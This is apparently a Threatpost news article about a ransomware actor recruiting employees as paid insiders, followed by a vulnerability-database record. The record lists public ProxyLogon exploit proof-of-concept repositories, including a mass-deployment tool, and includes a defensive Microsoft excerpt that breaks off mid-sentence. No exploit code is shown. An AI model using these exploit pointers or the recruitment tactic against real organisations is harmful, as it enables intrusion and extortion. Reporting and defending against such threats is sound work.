Researchers have discovered a Nigerian threat actor trying to turn an organization’s employees into insider threats by soliciting them to deploy ransomware for a cut of the ransom profits.
Researchers at Abnormal Security identified and blocked a number of emails sent earlier this month to some its customers that offered people $1 million in bitcoin to install DemonWare ransomware. The would-be attackers said they have ties to the DemonWare ransomware group, also known as Black Kingdom or DEMON, they said.
“In this latest campaign, the sender tells the employee that if they’re able to deploy ransomware on a company computer or Windows server, then they would be paid $1 million in bitcoin, or 40% of the presumed $2.5 million ransom,” researchers wrote in a [report published Thursday](<https://abnormalsecurity.com/blog/nigerian-ransomware-soliciting-employees-demonware/>) about the campaign. “The employee is told they can launch the ransomware physically or remotely.”
[](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)
DemonWare, a Nigeria-based ransomware group, has been around for a few years. The group was last seen alongside numerous other threat actors launching [a barrage of attacks](<https://threatpost.com/microsoft-exchange-exploits-ransomware/164719/>) [targeting](<https://threatpost.com/attackers-target-proxylogon-cryptojacker/165418/>) Microsoft Exchange’s [ProxyLogon](<https://threatpost.com/fbi-proxylogon-web-shells/165400/>) set of vulnerabilities, [CVE-2021-27065](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065>), which were discovered in March.
## **Accomplice-Based Campaign**
The campaign begins with an initial email soliciting help from an employee to install ransomware while dangling the offer of payment if the person follows through. It also gives the recipient—who attackers later said they found via LinkedIn—a way to contact the sender of the email.
Researchers from Abnormal Security did just that to find out more about the threat actor and the campaign. They sent a message back indicating that they had viewed the email and asked what they needed to do to help, they reported.
“A half hour later, the actor responded and reiterated what was included in the initial email, followed by a question about whether we’d be able to access our fake company’s Windows server,” researchers wrote. “Of course, our fictitious persona would have access to the server, so we responded that we could and asked how the actor would send the ransomware to us.”
Researchers continued to communicate over five days with the threat actors as if they were willing to be a part of the scam. “Because we were able to engage with him, we were better able to understand his motivations and tactics,” they wrote in the report.
## **Changing the Game**
Upon being contacted, the threat actor sent researchers two links for an executable file that could be downloaded on the file-sharing sites WeTransfer or Mega.nz
“The file was named “Walletconnect (1).exe” and based on an analysis of the file, we were able to confirm that it was, in fact, ransomware,” researchers noted.
The threat actor showed flexibility in how much ransom he was willing to receive from the company, researchers said. While the original amount was $2.5 million in bitcoin, the threat actor quickly lowered that sum to $250,000 and then to $120,000 when researchers said that the fake company for which they worked had an annual revenue of $50 million.
“Throughout the conversation, the actor repeatedly tried to alleviate any hesitations we may have had by ensuring us that we wouldn’t get caught, since the ransomware would encrypt everything on the system,” researchers said. “According to the actor, this would include any CCTV (closed-circuit television) files that may be stored on the server.”
Through initial findings from research done before they opened the chain of communication, they said that the actor with whom they communicated was likely Nigerian, “based on information found on a Naira (Nigerian currency) trading website and a Russian social media platform website,” they said.
## **Social Engineering as Cybercrime Strategy**
Overall, the experiment provided new insight and context regarding how West African threat actors—who are primarily located in Nigeria—”have perfected the use of social engineering in cybercrime activity,” researchers said.
Indeed, there long has been “a blurry line” between cybercrime and social engineering, observed one security professional. “This is an example of how the two are intertwined,” said Tim Erlin, vice president of strategy at [Tripwire](<http://www.tripwire.com/>), of the campaign.
“As people become better at recognizing and avoiding phishing, it should be no surprise to see attackers adopt new tactics to accomplish their goals,” he said in an email to Threatpost.
The campaign also sheds light on how attackers leverage the idea of a disgruntled insider to try to get them to do their dirty work for them—a concept that also isn’t new, but can provide key insight into yet another way ransomware can find its way onto an organization’s network, noted another security professional.
“It is always important that ransomware victims try their best to track down how the ransomware got into their environment,” Roger Grimes, data-driven-defense analyst at [KnowBe4](<http://www.knowbe4.com/>). “It is an important step. If you do not figure out how hackers, malware and ransomware are getting in, you are not going to stop them or their repeated attempts.”
{"id": "THREATPOST:34CC110D7F26B1B4D3B97BE05F000B69", "vendorId": null, "type": "threatpost", "bulletinFamily": "info", "title": "Nigerian Threat Actors Solicit Employees to Deploy Ransomware for Cut of Profits", "description": "Researchers have discovered a Nigerian threat actor trying to turn an organization\u2019s employees into insider threats by soliciting them to deploy ransomware for a cut of the ransom profits.\n\nResearchers at Abnormal Security identified and blocked a number of emails sent earlier this month to some its customers that offered people $1 million in bitcoin to install DemonWare ransomware. The would-be attackers said they have ties to the DemonWare ransomware group, also known as Black Kingdom or DEMON, they said.\n\n\u201cIn this latest campaign, the sender tells the employee that if they\u2019re able to deploy ransomware on a company computer or Windows server, then they would be paid $1 million in bitcoin, or 40% of the presumed $2.5 million ransom,\u201d researchers wrote in a [report published Thursday](<https://abnormalsecurity.com/blog/nigerian-ransomware-soliciting-employees-demonware/>) about the campaign. \u201cThe employee is told they can launch the ransomware physically or remotely.\u201d \n[](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>) \nDemonWare, a Nigeria-based ransomware group, has been around for a few years. The group was last seen alongside numerous other threat actors launching [a barrage of attacks](<https://threatpost.com/microsoft-exchange-exploits-ransomware/164719/>) [targeting](<https://threatpost.com/attackers-target-proxylogon-cryptojacker/165418/>) Microsoft Exchange\u2019s [ProxyLogon](<https://threatpost.com/fbi-proxylogon-web-shells/165400/>) set of vulnerabilities, [CVE-2021-27065](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065>), which were discovered in March.\n\n## **Accomplice-Based Campaign**\n\nThe campaign begins with an initial email soliciting help from an employee to install ransomware while dangling the offer of payment if the person follows through. It also gives the recipient\u2014who attackers later said they found via LinkedIn\u2014a way to contact the sender of the email.\n\nResearchers from Abnormal Security did just that to find out more about the threat actor and the campaign. They sent a message back indicating that they had viewed the email and asked what they needed to do to help, they reported.\n\n\u201cA half hour later, the actor responded and reiterated what was included in the initial email, followed by a question about whether we\u2019d be able to access our fake company\u2019s Windows server,\u201d researchers wrote. \u201cOf course, our fictitious persona would have access to the server, so we responded that we could and asked how the actor would send the ransomware to us.\u201d\n\nResearchers continued to communicate over five days with the threat actors as if they were willing to be a part of the scam. \u201cBecause we were able to engage with him, we were better able to understand his motivations and tactics,\u201d they wrote in the report.\n\n## **Changing the Game**\n\nUpon being contacted, the threat actor sent researchers two links for an executable file that could be downloaded on the file-sharing sites WeTransfer or Mega.nz\n\n\u201cThe file was named \u201cWalletconnect (1).exe\u201d and based on an analysis of the file, we were able to confirm that it was, in fact, ransomware,\u201d researchers noted.\n\nThe threat actor showed flexibility in how much ransom he was willing to receive from the company, researchers said. While the original amount was $2.5 million in bitcoin, the threat actor quickly lowered that sum to $250,000 and then to $120,000 when researchers said that the fake company for which they worked had an annual revenue of $50 million.\n\n\u201cThroughout the conversation, the actor repeatedly tried to alleviate any hesitations we may have had by ensuring us that we wouldn\u2019t get caught, since the ransomware would encrypt everything on the system,\u201d researchers said. \u201cAccording to the actor, this would include any CCTV (closed-circuit television) files that may be stored on the server.\u201d\n\nThrough initial findings from research done before they opened the chain of communication, they said that the actor with whom they communicated was likely Nigerian, \u201cbased on information found on a Naira (Nigerian currency) trading website and a Russian social media platform website,\u201d they said.\n\n## **Social Engineering as Cybercrime Strategy**\n\nOverall, the experiment provided new insight and context regarding how West African threat actors\u2014who are primarily located in Nigeria\u2014\u201dhave perfected the use of social engineering in cybercrime activity,\u201d researchers said.\n\nIndeed, there long has been \u201ca blurry line\u201d between cybercrime and social engineering, observed one security professional. \u201cThis is an example of how the two are intertwined,\u201d said Tim Erlin, vice president of strategy at [Tripwire](<http://www.tripwire.com/>), of the campaign.\n\n\u201cAs people become better at recognizing and avoiding phishing, it should be no surprise to see attackers adopt new tactics to accomplish their goals,\u201d he said in an email to Threatpost.\n\nThe campaign also sheds light on how attackers leverage the idea of a disgruntled insider to try to get them to do their dirty work for them\u2014a concept that also isn\u2019t new, but can provide key insight into yet another way ransomware can find its way onto an organization\u2019s network, noted another security professional.\n\n\u201cIt is always important that ransomware victims try their best to track down how the ransomware got into their environment,\u201d Roger Grimes, data-driven-defense analyst at [KnowBe4](<http://www.knowbe4.com/>). \u201cIt is an important step. If you do not figure out how hackers, malware and ransomware are getting in, you are not going to stop them or their repeated attempts.\u201d\n", "published": "2021-08-20T14:09:50", "modified": "2021-08-20T14:09:50", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": true}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://threatpost.com/nigerian-solicits-employees-ransomware-profits/168849/", "reporter": "Elizabeth Montalbano", "references": ["https://abnormalsecurity.com/blog/nigerian-ransomware-soliciting-employees-demonware/", "https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/", "https://threatpost.com/microsoft-exchange-exploits-ransomware/164719/", "https://threatpost.com/attackers-target-proxylogon-cryptojacker/165418/", "https://threatpost.com/fbi-proxylogon-web-shells/165400/", "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065", "http://www.tripwire.com/", "http://www.knowbe4.com/"], "cvelist": ["CVE-2021-27065"], "immutableFields": [], "lastseen": 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"vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:20:36", "description": "# Exchange SSRF toRCE Exploit\n\n\n\n**:warning:For educational and ...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-03-15T09:02:40", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-27065", "CVE-2021-26855"], "modified": "2021-10-24T06:16:43", "id": "D6AC5402-E5BA-5A55-B218-5D280FA9EA0D", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-01-12T03:31:40", "description": "# CVE-2021-26855-PoC\nPoC exploit code for CVE-2021-26855. \n\nOrig...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-03-09T14:27:06", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-27065"], "modified": "2022-01-10T21:06:44", "id": "14573955-860C-5947-8F2F-86347A606742", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-02-16T10:31:55", "description": "# Exch-CVE-2021-26855\nProxyLogon is the formally generic name fo...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-03-14T14:23:34", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-27065"], "modified": "2022-02-16T09:48:52", "id": "B20A08C3-E06C-57C9-998A-C38174AEA7DC", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-02-21T13:50:39", "description": "# CVE-2021-26855-PoC\nPoC exploit code for CVE-2021-26855. \n\nOrig...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-03-09T16:54:39", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-27065", "CVE-2021-21978", "CVE-2021-26855"], "modified": "2022-02-21T12:12:08", "id": "F5339382-9321-5B96-934D-B803353CC9E3", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-04-03T23:52:26", "description": "# CVE-2021-26855\nCVE-2021-26855 ssrf \u7b80\u5355\u5229\u7528\ngolang \u7ec3\u4e60\n\n## \u5f71\u54cd\u7248\u672c\nExc...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-08T08:39:05", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21978", "CVE-2021-26855", "CVE-2021-27065"], "modified": "2022-04-03T10:42:30", "id": "65D56BCD-234F-52E5-9388-7D1421B31B1B", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:26:23", "description": "# ProxyLogon-Mass-RCE\n## Description\nPython for mass deploying p...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-05-23T17:09:30", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-27065", "CVE-2021-26857", "CVE-2021-26855"], "modified": "2021-05-23T17:23:03", "id": "D7D65B87-E44D-559F-B05B-6AED7C8659D5", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:20:04", "description": "# Exchange_IOC_Hunter\n\n#### Description:\n\nHunt for IOCs in IIS L...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-03-09T10:36:44", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-27065", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-26855"], "modified": "2021-03-17T10:22:07", "id": "F3D43FE5-47AE-591C-A2DD-8F92BC12D9A8", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-02-15T01:18:31", "description": "### This project has been discontinued\n\nPlease use Microsoft too...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-03-05T08:22:07", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26858", "CVE-2021-26857", "CVE-2021-27065", "CVE-2021-26855"], "modified": "2022-02-14T23:14:09", "id": "37EE4A49-AEF7-5A71-AC1C-4B55CB94DD92", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:21:20", "description": "![](https://github.com/SCS-Labs/Images/raw/main/SCS%20-%20HAFNIU...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-03-11T21:18:29", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-27065", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-26855"], "modified": "2021-04-19T19:31:47", "id": "2481D5F6-C105-5158-B4AF-B67D7BA244A3", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}], "checkpoint_advisories": [{"lastseen": "2022-11-28T14:52:30", "description": "A remote code execution vulnerability exists in Microsoft Microsoft Exchange. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-02T00:00:00", "type": "checkpoint_advisories", "title": "Microsoft Exchange Server Remote Code Execution (CVE-2021-26855; CVE-2021-27065)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-27065"], "modified": "2022-11-28T00:00:00", "id": "CPAI-2021-0099", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "mmpc": [{"lastseen": "2021-03-26T05:28:04", "description": "Microsoft continues to monitor and investigate attacks exploiting the recent on-premises Exchange Server vulnerabilities. These attacks are now performed by multiple threat actors ranging from financially motivated cybercriminals to state-sponsored groups. To help customers who are not able to immediately install updates, Microsoft [released a one-click tool](<https://msrc-blog.microsoft.com/2021/03/15/one-click-microsoft-exchange-on-premises-mitigation-tool-march-2021/>) that automatically mitigates one of the vulnerabilities and scans servers for known attacks. Microsoft also [built this capability into Microsoft Defender Antivirus](<https://www.microsoft.com/security/blog/2021/03/18/automatic-on-premises-exchange-server-mitigation-now-in-microsoft-defender-antivirus/>), expanding the reach of the mitigation. As of today, we have seen a significant decrease in the number of still-vulnerable servers \u2013 more than 92% of known worldwide Exchange IPs are now patched or mitigated. We continue to work with our customers and partners to mitigate the vulnerabilities.\n\nAs organizations recover from this incident, we continue to publish guidance and share threat intelligence to help detect and evict threat actors from affected environments. Today, we are sharing intelligence about what some attackers did after exploiting the vulnerable servers, ranging from ransomware to data exfiltration and deployment of various second-stage payloads. This blog covers:\n\n * Threat intelligence and technical details about known attacks, including components and attack paths, that defenders can use to investigate whether on-premises Exchange servers were compromised before they were patched and to comprehensively respond to and remediate these threats if they see them in their environments.\n * Detection and automatic remediation built into Microsoft Defender Antivirus and how investigation and remediation capabilities in solutions like Microsoft Defender for Endpoint can help responders perform additional hunting and remediate threats.\n\nAlthough the overall numbers of ransomware have remained extremely small to this point, it is important to remember that these threats show how quickly attackers can pivot their campaigns to take advantage of newly disclosed vulnerabilities and target unpatched systems, demonstrating how critical it is for organizations to apply security updates as soon as possible. We strongly urge organizations to identify and update vulnerable on-premises Exchange servers, and to follow mitigation and investigation guidance that we have collected and continue to update here: <https://aka.ms/ExchangeVulns>.\n\n## Mitigating post-exploitation activities\n\nThe first known attacks leveraging the Exchange Server vulnerabilities were by the nation-state actor HAFNIUM, which we detailed in [this blog](<https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/>). In the three weeks after the Exchange server vulnerabilities were disclosed and the security updates were released, Microsoft saw numerous other attackers adopting the exploit into their toolkits. Attackers are known to rapidly work to reverse engineer patches and develop exploits. In the case of a remote code execution (RCE) vulnerability, the rewards are high for attackers who can gain access before an organization patches, as patching a system does not necessarily remove the access of the attacker.\n\n\n\n_Figure 1. The Exchange Server exploit chain_\n\nIn our investigation of the on-premises Exchange Server attacks , we saw systems being affected by multiple threats. **Many of the compromised systems have not yet received a secondary action**, such as human-operated ransomware attacks or data exfiltration, indicating attackers could be establishing and keeping their access for potential later actions. These actions might involve performing follow-on attacks via persistence on Exchange servers they have already compromised, or using credentials and data stolen during these attacks to compromise networks through other entry vectors.\n\nAttackers who included the exploit in their toolkits, whether through modifying public proof of concept exploits or their own research, capitalized on their window of opportunity to gain access to as many systems as they could. Some attackers were advanced enough to remove other attackers from the systems and use multiple persistence points to maintain access to a network.\n\nWe have built protections against these threats into Microsoft security solutions. Refer to the Appendix for a list of indicators of compromise, detection details, and advanced hunting queries. We have also provided additional tools and investigation and remediation guidance here: <https://aka.ms/exchange-customer-guidance>.\n\nWhile performing a full investigation on systems is recommended, the following themes are common in many of the attacks. These are prevailing threat trends that Microsoft has been monitoring, and existing solutions and recommendations for prevention and mitigation apply:\n\n * Web shells - As of this writing, many of the unpatched systems we observed had multiple web shells on them. Microsoft has been tracking the rise of web shell attacks for the past few years, ensuring our products detect these threats and providing remediation guidance for customers. For more info on web shells, read [Web shell attacks continue to rise](<https://www.microsoft.com/security/blog/2021/02/11/web-shell-attacks-continue-to-rise/>). We have also published guidance on [web shell threat hunting with Azure Sentinel](<http://aka.ms/exchange-web-shell-investigation>).\n * Human-operated ransomware - Ransomware attacks pose some of the biggest security risks for organizations today, and attackers behind these attacks were quick to take advantage of the on-premises Exchange Server vulnerabilities. Successfully exploiting the vulnerabilities gives attackers the ability to launch human-operated ransomware campaigns, a trend that Microsoft has been closely monitoring. For more information about human-operated ransomware attacks, including Microsoft solutions and guidance for improving defenses, read: [Human-operated ransomware 